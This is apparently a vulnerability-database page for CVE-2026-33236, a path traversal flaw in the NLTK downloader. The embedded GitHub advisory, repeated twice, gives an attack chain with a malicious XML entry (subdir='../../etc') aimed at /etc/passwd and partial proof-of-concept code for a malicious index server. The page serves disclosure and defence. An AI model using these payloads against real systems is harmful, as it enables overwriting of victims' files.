CVE-2026-33236
NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
- Record
CVE-2026-33236- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22, CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-13887
8.1
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
- Record
EUVD-2026-13887- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-469j-vmhf-r6v7
8.1
NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
- Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
- Arbitrary File Creation: Create arbitrary files
- Arbitrary File Overwrite: Overwrite critical system files (such as
/etc/passwd,~/.ssh/authorized_keys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253)
self.filename = os.path.join(subdir, id + ext)
subdirandidare directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679)
filepath = os.path.join(download_dir, info.filename)
- Directly uses
filenamewhich may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687)
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
- Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695)
with open(filepath, "wb") as outfile:
- Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server
↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
↓
3. Victim executes: downloader.download('passwd')
↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
↓
6. os.makedirs() creates directory: download_dir + "../../etc"
↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
↓
8. System file is overwritten!
Impact Scope
- System File Overwrite
Reproduction Steps
Environment Setup
- Install NLTK
pip install nltk
- Prepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server
python3 malicious_server.py
Step 2: Run exploit script
python3 exploit_vulnerability.py
Step 3: Verify results
ls -la /tmp/test_file.zip
Proof of Concept
Malicious Server (malicious_server.py)
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler
# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")
# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
<packages>
<package id="test_file" subdir="../../../../../../../../../tmp"
url="http://127.0.0.1:8888/test.zip"
size="100" unzipped_size="100" unzip="0"/>
</packages>
</nltk_data>
"""
# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
f.write(malicious_xml)
with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
zf.writestr("test.txt", "Path traversal attack!")
# HTTP Handler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/malicious_index.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
self.wfile.write(f.read())
elif self.path == '/test.zip':
self.send_response(200)
self.send_header('Content-type', 'application/zip')
self.end_headers()
with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
self.wfile.write(f.read())
else:
…
- Record
GHSA-469j-vmhf-r6v7- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-04
NVD
8.1
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
- Record
CVE-2026-33236- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.1
NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
- Record
CVE-2026-33236- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-33236
8.1
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
- Record
DEBIAN-CVE-2026-33236- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
Show 4 moreShow less
OSVGHSA-469j-vmhf-r6v7
8.1
NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
- Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
- Arbitrary File Creation: Create arbitrary files
- Arbitrary File Overwrite: Overwrite critical system files (such as
/etc/passwd,~/.ssh/authorized_keys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253)
self.filename = os.path.join(subdir, id + ext)
subdirandidare directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679)
filepath = os.path.join(download_dir, info.filename)
- Directly uses
filenamewhich may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687)
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
- Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695)
with open(filepath, "wb") as outfile:
- Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server
↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
↓
3. Victim executes: downloader.download('passwd')
↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
↓
6. os.makedirs() creates directory: download_dir + "../../etc"
↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
↓
8. System file is overwritten!
Impact Scope
- System File Overwrite
Reproduction Steps
Environment Setup
- Install NLTK
pip install nltk
- Prepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server
python3 malicious_server.py
Step 2: Run exploit script
python3 exploit_vulnerability.py
Step 3: Verify results
ls -la /tmp/test_file.zip
Proof of Concept
Malicious Server (malicious_server.py)
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler
# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")
# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
<packages>
<package id="test_file" subdir="../../../../../../../../../tmp"
url="http://127.0.0.1:8888/test.zip"
size="100" unzipped_size="100" unzip="0"/>
</packages>
</nltk_data>
"""
# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
f.write(malicious_xml)
with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
zf.writestr("test.txt", "Path traversal attack!")
# HTTP Handler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/malicious_index.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
self.wfile.write(f.read())
elif self.path == '/test.zip':
self.send_response(200)
self.send_header('Content-type', 'application/zip')
self.end_headers()
with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
self.wfile.write(f.read())
else:
…
- Record
GHSA-469j-vmhf-r6v7- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-04
OSVPYSEC-2026-2237
8.1
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
- Record
PYSEC-2026-2237- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-33236
8.1
CVE-2026-33236 in nltk - Patched by Root
Root has patched CVE-2026-33236 in the nltk package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-33236- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-33236
8.1
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
- Record
UBUNTU-CVE-2026-33236- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nltkPyPI |
before 3.9.4 | 3.9.4 |
nltkDebian:12 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.8-13.8.1-1 Show 4 moreShow less3.9.1-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:13 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:14 |
before 3.10.0-1, plus listed versions 3.9.1-23.9.2-13.9.3-1 |
3.10.0-1 |
nltkPyPI |
before 3.9.4, plus listed versions 0.80.90.9.30.9.40.9.5 Show 45 moreShow less0.9.60.9.70.9.80.9.92.0.12.0.1rc12.0.1rc2-git2.0.1rc32.0.1rc42.0.22.0.32.0.42.0.52.0b42.0b52.0b62.0b72.0b82.0b93.0.03.0.0b13.0.0b23.0.13.0.23.0.33.0.43.0.53.13.23.2.13.2.23.2.33.2.43.2.53.33.43.4.13.4.23.4.33.4.43.4.53.53.5b13.63.6.1 |
3.9.4 |
nltkRoot:PyPI |
before 3.9.2+aikido.7 | 3.9.2+aikido.73.9.2+aikido.8 |
rootio-nltkRoot:PyPI |
before 3.9.2+root.io.3 | 3.9.2+root.io.33.9.2+root.io.43.9.2+root.io.5 |
nltkUbuntu:Pro:14.04:LTS |
before 2.0~b9-0ubuntu4.1~esm6, plus listed versions 2.0~b9-0ubuntu42.0~b9-0ubuntu4.1~esm22.0~b9-0ubuntu4.1~esm42.0~b9-0ubuntu4.1~esm5 |
2.0~b9-0ubuntu4.1~esm6 |
nltkUbuntu:Pro:16.04:LTS |
before 3.1-1ubuntu0.1+esm4, plus listed versions 3.0.4-13.0.5-13.1-13.1-1ubuntu0.13.1-1ubuntu0.1+esm13.1-1ubuntu0.1+esm23.1-1ubuntu0.1+esm3 |
3.1-1ubuntu0.1+esm4 |
nltkUbuntu:Pro:18.04:LTS |
before 3.2.5-1ubuntu0.1+esm4, plus listed versions 3.2.4-13.2.5-13.2.5-1ubuntu0.13.2.5-1ubuntu0.1+esm13.2.5-1ubuntu0.1+esm23.2.5-1ubuntu0.1+esm3 |
3.2.5-1ubuntu0.1+esm4 |
Show 6 moreShow less
| Package | Affected | Fixed |
|---|---|---|
nltkUbuntu:Pro:20.04:LTS |
before 3.4.5-2ubuntu0.1~esm4, plus listed versions 3.4.5-13.4.5-23.4.5-2ubuntu0.1~esm13.4.5-2ubuntu0.1~esm23.4.5-2ubuntu0.1~esm3 |
3.4.5-2ubuntu0.1~esm4 |
nltkUbuntu:Pro:22.04:LTS |
before 3.7-1ubuntu0.1~esm2, plus listed versions 3.5-13.6.5-13.6.7-13.7-13.7-1ubuntu0.1~esm1 |
3.7-1ubuntu0.1~esm2 |
nltkUbuntu:Pro:24.04:LTS |
before 3.8.1-1ubuntu0.1~esm2, plus listed versions 3.8.1-13.8.1-1ubuntu0.1~esm1 |
3.8.1-1ubuntu0.1~esm2 |
nltkUbuntu:25.10 |
All versions, plus listed versions 3.9.1-2 |
None known |
nltkUbuntu:26.10 |
All versions, plus listed versions 3.9.2-13.9.3-13.10.0-13.10.1-13.10.3-1 |
None known |
nltkUbuntu:Pro:26.04:LTS |
before 3.9.2-1ubuntu0.1~esm2, plus listed versions 3.9.1-23.9.1-2build13.9.2-13.9.2-1ubuntu0.1~esm1 |
3.9.2-1ubuntu0.1~esm2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, references | OSV | |
| affected, facts, references | GitHub Advisories | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33236 is a high vulnerability (CVSS 8.1) in Nltk, published March 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.61%, the 49th percentile. Fixed in nltk 3.9.4.
References
github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7
github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a
access.redhat.com/security/cve/CVE-2026-33236
bugzilla.redhat.com/show_bug.cgi?id=2449824
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33236.json
access.redhat.com/errata/RHSA-2026:10184
Show 12 moreShow less
access.redhat.com/errata/RHSA-2026:42644
access.redhat.com/errata/RHSA-2026:19712
access.redhat.com/errata/RHSA-2026:37275
nvd.nist.gov/vuln/detail/CVE-2026-33236
github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2237.yaml
github.com/advisories/GHSA-469j-vmhf-r6v7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33236.json
security-tracker.debian.org/tracker/CVE-2026-33236
github.com/nltk/nltk
ubuntu.com/security/CVE-2026-33236
cve.org/CVERecord?id=CVE-2026-33236
ubuntu.com/security/notices/USN-8302-1
Left out here: 14 versions and the rest of 2 source descriptions. The JSON record has them.